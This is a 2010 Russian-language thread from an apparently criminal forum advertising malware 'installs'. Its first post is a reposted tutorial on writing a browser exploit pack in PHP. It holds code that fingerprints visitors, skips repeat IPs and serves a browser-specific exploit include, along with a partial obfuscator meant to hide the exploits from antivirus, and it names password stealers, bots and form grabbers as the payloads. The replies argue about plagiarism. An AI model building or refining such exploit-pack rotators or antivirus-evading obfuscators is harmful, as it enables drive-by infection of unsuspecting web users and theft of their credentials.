contact us rules avd support awards upload blog group gallery home


 



|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы|

Старый 20.07.2010   #1
kalibr98

Windows v.2.03

Регистрация: 28.03.2010
Сообщений: 16
Поблагодарили всего: 5
за это сообщение: 4
Сообщение Написание связки+пример обусфикации

Думаю пойдет как новичкам, так шарющим в php,
Далеко не идеальный пример, но пользоваться можно.


[intro]

Доброго времени суток. Первая причина написания данной статьи это то, что в последнее время на различных форумах появляются сообщения, типо одна связка лучше или хуже, у такой то связки "пробив" составляет такой то процент и пробивают такие то браузера. Вторая причина это "лже" авторы связок, т.е. по просту барыги, которые получив связку где то на закрытых форумах пытаются ее продать или того хуже модернизировать существующую, не внося в связку практически никакого толку. Еще есть одна особенность, брать связку вставлять в нее свой ифрейм (в народе говорят стучалки) и выкладывать на публичных форумах говоря что это новая версия связки, тем самым пользуются чужим трафиком.
В этой статье мы постораемся освоить азы сборки связки .

[info]

Что такое связка сплойтов?

Связка - это объединение сушествующих эксплойтов, преимущественно использующих "баги" в браузерах для загрузки ПО. Под ПО подразумеваются различные сборщики паролей, боты, форм грабберы и другие, вообщем, все что нужно для сбора информации с компьютера жертвы.

Что входит в состав связки?

В состав связки входит, сплойты под различные версии браузеров. Но это как бы не достаточно, для контроля эффективности использование связки, т.е. просмотра статистики по браузерам, осям, странам, рефферам и количеству "пробитых" браузеров. Реффер - это тот, чей трафф приходит на связку. В некоторых связках есть продвинутая система статистики, т.е. можно контролировать какой стране "грузить" тот или иное ПО, есть возможность блокировки пользователя в случаи удачного "прогруза" ПО, стоит так называемая система GeoIp, позволяющяя определять место нахождения "пользователя", приимущественно используется для бот нета.

Откуда берут сплойты для связки?

Наверно, все замечали, что разные связки продаются по разному, стоимость связки колеблиться от 100$ и до 2к и зависит не только от написанного "ротора" сплойтов, но так же от самих сплойтов. Сплойты можно найти на многих сайтах таких как:
milw0rm.com
securitylab.ru
securityfocus.com
На сайтах приводиться уведомление о той или иной уязвимости найденой в браузере, иногда вместе со сплойтом. Для дорогих связок используют приватные сплойты, которые в конечном счете и определяют стоимость связки. Приватные сплойты - это сплойты с доконца раскрученной уязвимостью, т.е. найдя уязвимость в браузере, например переполнения буфера, нужно еще доконца ее раскрутить чтобы получился download and executable.


Как определить эффективность связки?

Эффективность связки определяется количеством "пробива" браузеров. Обычно используется несколько сплойтов для разных браузеров и их версиий. В статистике работы связки может приводиться общяя пробиваемость, а так же по отдельным браузерам и версиям. На данный момент самый бажным браузером считается Internet explorer за ним следует Mozilla firefox и Opera.
Подробней можно прочитать здесь
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
Так же там рассматриваются следующие вопросы:
Что такое стата (статистика)
Что такое пробив.
Что такое трафф (траффик) и куда его гонят.
FAQ (общие вопросы возникающие у новичков)

На каком языке программирования можно написать связку?

Преимущественно это php, т.к. имеет большее распространение в глобальной сети. Но так же подходят все языки которые могут собирать информацию об клиентском браузере, такие как perl, javascript, asp, vb, c/c++ и другие. Подробное рассмотрение ротора сплойтов на javascript можно почитать в статье -=lebed=-
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]

Дополнительные линки по теме, чтобы расширить свой кругозор:

О загрузках - [Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
Криптуем php скрипты от антивирей - [Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
Что такое переполнение буфера? - [Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]

[пишем ротор эксплойтов]

Что же нам нужно для написания связки? Во первых, нам нужно ознакомиться с базывыми основами того языка на котором мы будем писать. Я возьму php, т.к. восновном все связки пишут с его использованием.

Материал для прочтения по php:

[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...] хороший сборник статей.
По гуглив минут 5 можно еще достать хорошего мануала по php.

Что же будет входить в нашу связку?

Ротор (главная страница)
Скрипт статистики
Эксплойты
Первым делом в странице index.php нам нужно определить, что за браузер, ip посетителя и проверить не заходил ли он уже ранее.

Код:

Код:
$ip = getenv("REMOTE_ADDR");
$referer = substr(getenv("HTTP_REFERER"), 0, 40);
$user_agent = getenv("HTTP_USER_AGENT");
Дальше проверяем не заходил ли пользователь ранее (не будем рассматривать работу с бд, ограничемся файлами)

Код:

Код:
if ($ip_bans==1) {
$ip_ban=getcwd().'/ip_ban.txt';
$banfile=file($ip_ban);
$s=0;
for($i=0;$i<=count($banfile); $i++) { $ipban=trim($banfile[$i]);
if ($ip==$ipban) {
$s=1;
$i=count($banfile); }}
if ($s==1) {
include("error.php"); exit; } // показываем страницу ошибки если пользователь уже был.
else {
$tban=fopen("ip_ban.txt","a+b");
fwrite($tban,$ip."\n");
fclose($tban); }} [/PHP]
Дальше начинается основной процесс - определение браузера и оси.
[PHP]if(eregi("(msie) ([0-9]{1,2})", $user_agent, $bv))
{
$brow = "MSIE";
$ver = $bv[2];
}
elseif(strstr($user_agent, "Nav")) $brow = "Netscape";
elseif(strstr($user_agent, "Firefox")) $brow = "Firefox";
elseif(strstr($user_agent, "Opera")) $brow = "Opera";
elseif(strstr($user_agent, "Lynx")) $brow = "Lynx";
elseif(strstr($user_agent, "WebTV")) $brow = "WebTV";
elseif(strstr($user_agent, "Bot")) $brow = "Bot";
elseif(strstr($user_agent, "Konqueror")) $brow = "Konqueror";
else $brow = "Other";

# Detect System
if(strstr($user_agent, "Windows 95")) $os = "Windows 95";
elseif(strstr($user_agent, "Win 9x 4.9")) $os = "Windows ME";
elseif(strstr($user_agent, "Windows 98")) $os = "Windows 98";
elseif(strstr($user_agent, "Windows NT 5.0")) $os = "Windows 2000";
elseif(strstr($user_agent, "SV1")) $os = "Windows XP";
elseif(strstr($user_agent, "Windows NT 5.1")) $os = "Windows XP";
elseif(strstr($user_agent, "Windows NT 5.2")) $os = "Windows 2003";
elseif(strstr($user_agent, "Windows NT 6.0")) $os = "Windows Vista";
else $os = "Other";

Из мануалов видно, что $_SERVER['HTTP_USER_AGENT'] или $user_agent содержит основную информацию об оси браузере

Элемент $_SERVER['HTTP_USER_AGENT'] содержит информацию о типе и версии браузера и операционной системы посетителя.

Вот типичное содержание этой строки: "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)". Наличие подстроки "MSIE 6.0" говорит о том, что посетитель просматривает страницу при помощи Internet Explorer версии 6.0. Строка "Windows NT 5.1" сообщает, что в качестве операционной системы используется Windows XP.

теперь в $brow у нас будет "точное" название браузер и можем подключить эксплой под браузер

Код:

if ($brow=="MSIE")
{
msie_stat(); // заносим в статистику браузера, функция должна быть опеределена где то в коде
include("exp/msie.php");// exploit для Эксплоера
}

else
{
other_stat(); // ^^
include 'error.php'; // Страница с ошибкой
}

так же можно добавлять и другие сплойты выражением

Код:

elseif($brow=="Opera")
{
opera_stat(); //^^
include("exp/opera.php");
}

Теперь заносим ip и браузер в нашу статистику

Код:

function msie_stat() // функция для Эксплоера.
{
$fm=fopen("brow.txt",'r');
flock($fm,2);
$fr=fread($fm,filesize("brow.txt"));
list($ie,$ot)=explode("|",$fr);
$ie++;
flock($fm,3);
fclose($fm);
$mw=fopen("brow.txt",'w+');
flock($mw,2);
fwrite($mw,$ie."|".$ot);
flock($mw,3);
fclose($mw);
}
Так же можем еще заносить в нашу статистику HTTP_REFERER это позволит там видеть откуда пришли на страницу.
Все переменные полученные от пользователя необходимо фильтровать! Так как их легко подделать, в результате возможны уязвимости типо sql injection (когда исп бд) и xxs.

Ротом мы рассмотрели, теперь осталось создать папку exp и поместить туда те сплойты, которые актуальны на данный момент. имхо рассматривать все нет смысла из за их большого количества. Для поиска сплойта можно зайти на выше перечисленные сайты или установить пакет Metasploit Framework. Подробнее тут

[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
Сам проект находится по адресу metasploit.com
Так же немного информации по написанию эксплойтов
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]

[Прячем наш эксплоит]

Зачем нужно прятать эксплоит? Затем чтобы антивирусы не обнаружили, то что мы пытаемся загрузить ПО через браузер.
Сушествует много способов закодировать наш эксплоит одни из них это обфускация эксплоита.
Цитата:Обфускация (от лат. obfuscare, «затенять, затемнять») — запутывание кода программы, то есть приведение исходного текста или исполняемого кода к виду, сохраняющему функциональность программы, но затрудняющему анализ, понимание алгоритмов работы и модификацию при декомпиляции. «Запутывание» кода может осуществляться на уровне алгоритма, на уровне исходного текста, ассемблерного текста. Для создания запутанного ассемблерного текста могут использоваться специализированные компиляторы, использующие неочевидные или недокументированные возможности среды исполнения программы. Существуют также специальные программы, производящие обфускацию, называемые обфускаторами (англ. Obfuscator).



Пример обфускатора взятого из одной связки, код не полный.

Код:

Код:
function replace_all($scr) {
$var_to_replace = 100;

for ($i=1; $i<=$var_to_replace; ++$i)
$search[] = '/var'.$i.'v/';
for ($i=0; $i<$var_to_replace; ++$i)
$replace[] = random_str(rand(3,7));

for ($i=1; $i<=$var_to_replace; ++$i)
$search[] = '/func'.$i.'f/';
for ($i=0; $i<$var_to_replace; ++$i)
$replace[] = random_str(rand(5,9));

$scr = preg_replace($search, $replace, $scr);
$scr = preg_replace_callback('/\[int:(\d+)\]/', "gen_int", $scr);
$scr = preg_replace_callback('/\[str:(.*?)\]/', "gen_str", $scr);
$scr = preg_replace_callback('/\[vb_str:(.*?)\]/', 'gen_str', $scr);
return $scr;
}
function random_str($length) {
global $unique_names;
$res = '';
for ($i=0; $i<$length; ++$i)
$res .= chr(rand(97, 122));
if (in_array($res, $unique_names)) $res = random_str($length);
$unique_names[] = $res;
return $res;
}

function int_to_items($n) {
$max_n_slogs = rand(2,$n);
$slogs = array();
for ($i=0; $i<$max_n_slogs;++$i)
$slogs[] = rand(1,$n);
$cur = 0;
$sum = array_sum($slogs);
while ($sum != $n) {
if ($sum > $n && $slogs[$cur] > 0) --$slogs[$cur];
else ++$slogs[$cur];
++$cur;
if ($cur >= $max_n_slogs) $cur = 0;
$sum = array_sum($slogs);
}
$res = array();
foreach ($slogs as $s)
if ($s != 0) $res[] = $s;
return $res;
}


function gen_int($matches) {
$n = intval($matches[1]);
$slogs = int_to_items($n);
$s = implode('+', $slogs);
return $s;
}
Так же часто применяется Zend Guard, для защиты исходного кода скрипта.
Zend Guard (ранее назывался Zend Encoder) — позволяет закодировать скрипт в байт-код, который потом можно использовать точно также как и обычный, за исключением возможности его отредактировать. Предназначено для защиты интересов и интеллектуальной собственности разработчика. Для работы таких скриптов обязательно нужен Zend Optimizer.
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]


Некоторые предпочитают руками прятать эксплоиты, т.к. изменять саму подачу эксплоита. Изменяются названия переменных, используется кодирование не только php скриптов, javascript, но и html.

aka gibson (c), antichat.ru

Качаем сплоиты на милворме, вставляем и тестим. Советую походить по ссылкам много полезного по крипту.

//Привел статью к читаему виду. (с)Mortal

Последний раз редактировалось Mortal; 26.07.2010 в 12:41.
kalibr98 вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
M@ZAX@KEP (13.08.2010), Alta1re (27.07.2010), _Stealer_ (22.07.2010), Dave (20.07.2010)
Старый 20.07.2010   #2
Barrt

Windows ME
 
Аватар для Barrt

Регистрация: 18.06.2010
Сообщений: 249
Поблагодарили всего: 29
за это сообщение: 0
По умолчанию

мои глаза!!
Barrt вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 21.07.2010   #3
kalibr98
автор данной темы

Windows v.2.03

Регистрация: 28.03.2010
Сообщений: 16
Поблагодарили всего: 5
за это сообщение: 0
По умолчанию

ммда,от смайликов не избавился)
kalibr98 вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 22.07.2010   #4
olegteror

Почетный пользователь
 
Аватар для olegteror

Регистрация: 02.04.2010
Адрес: /dev/mozg >>/dev/null
Сообщений: 819
Поблагодарили всего: 750
за это сообщение: 0
Отправить сообщение для olegteror с помощью ICQ Отправить сообщение для olegteror с помощью Skype™
По умолчанию

не настаебло с ачата контент пиздить?
__________________
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
[Ссылки доступны только зарегистрированным пользователям . Регистрируйся тут...]
olegteror вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 22.07.2010   #5
kalibr98
автор данной темы

Windows v.2.03

Регистрация: 28.03.2010
Сообщений: 16
Поблагодарили всего: 5
за это сообщение: 0
По умолчанию

olegteror,чем ты не доволен? хорошую статью не грех и перенести, а если ты можешь дополнить\написать лучше-вперед)
kalibr98 вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 23.07.2010   #6
_Stealer_

Супер-модератор
 
Аватар для _Stealer_

Регистрация: 17.09.2009
Сообщений: 209
Поблагодарили всего: 239
за это сообщение: 0
Отправить сообщение для _Stealer_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от kalibr98 Посмотреть сообщение
olegteror,чем ты не доволен? хорошую статью не грех и перенести, а если ты можешь дополнить\написать лучше-вперед)
Если копируешь статьи, то тогда ставь хотябы линк на оригинал
_Stealer_ вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 25.07.2010   #7
kalibr98
автор данной темы

Windows v.2.03

Регистрация: 28.03.2010
Сообщений: 16
Поблагодарили всего: 5
за это сообщение: 0
По умолчанию

aka gibson (c)

автора я указал
kalibr98 вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 26.07.2010   #8
_Stealer_

Супер-модератор
 
Аватар для _Stealer_

Регистрация: 17.09.2009
Сообщений: 209
Поблагодарили всего: 239
за это сообщение: 0
Отправить сообщение для _Stealer_ с помощью ICQ
По умолчанию

Цитата:
Сообщение от kalibr98 Посмотреть сообщение
aka gibson (c)

автора я указал
Может тебе крупнее писать, раз так не видишь ?
Линк на оригинал статьи, это ссылка на источник, откуда ты эту статью скопировал, причем неудачно
Хах , автора он указал . . ., ты знаешь сколько таких "gibson" в сети ?
_Stealer_ вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Старый 26.07.2010   #9
Mortal

Супер-модератор
 
Аватар для Mortal

Регистрация: 12.04.2010
Адрес: FOA
Сообщений: 136
Поблагодарили всего: 175
за это сообщение: 2
Отправить сообщение для Mortal с помощью ICQ
По умолчанию

Привел статью к читаемому виду.

kalibr98,Куски кода - в тегах CODE, основные пункты и ключевые вопросы которые затрагиваются в статье - выделяешь, тогда и статья читается.
Mortal вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
Dave (26.07.2010), _Stealer_ (26.07.2010)
Ответ

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Статьи


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 48
alex, alez, Alta1re, An0nim, Ape][i, api, BAHEK, budora, Chekit, Chrek625, cuker, Dadie, DaNGeR, Dave, DeeMn, designero, dimka2001, gr3Zjke, jaggi, Jocker, kalibr98, kikamazafuka, kristal, LeKToR, M@ZAX@KEP, metisdk, Mortal, olegteror, ostapas, raznid, Reptiliy, Rinax, stitest, S_I_D, trashloveforyou, travakur, Vagabond, vizzard-2010, Vl4del, wazawaka, Wazzup, Zyklon, Денис, ыва, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 00:33.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot